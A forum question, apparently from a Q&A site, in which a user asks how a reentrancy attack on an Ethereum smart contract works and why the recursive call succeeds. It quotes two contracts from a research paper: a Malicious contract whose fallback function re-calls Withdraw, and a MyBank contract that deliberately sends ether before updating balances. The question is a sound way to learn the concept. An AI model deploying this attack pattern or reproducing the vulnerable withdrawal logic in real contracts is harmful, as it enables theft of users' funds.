I want to understand the concept of reentrancy attack in a smart contract. I know that a Malicious contract starts executing the code of another contract and this results in reentrancy attack. It can happen when in a contract a function receives ether. In this case a fallback function comes into play. But I can't understand how a contract gets control of another contract and recursively calls its functions like withdraw(). Kindly explain me this concept using the following two contracts, i got from a research paper:
contract Malicious {
uint balance;
MyBank bank = MyBank(0xdeadbeef8badf00d...);
function Malicious(){
balance = msg.value;
bank.Deposit.value(balance)();
bank.Withdraw.value(0)(balance); // forwarding gas
}
function (){ // fallback function
bank.Withdraw.value(0)(balance);
}
}
I can see that the contract has a Deposit() function and an unnamed fall back function(). This fall back function is calling
Withdraw.value(0)(balance);
What does the above call mean (particularly why it has two set of parenthesis?) and how it becomes recursive?
I am also showing the bank contract:
contract MyBank {
mapping (address=>uint) balances;
function Deposit() {
balances[msg.sender] += msg.value;
}
function Withdraw(uint amount) {
if(balances[msg.sender] >= amount) {
msg.sender.send(amount);
balances[msg.sender] -= amount;
}
}
function Balance() constant returns(uint) {
return balances[msg.sender];
}
}
Zulfi.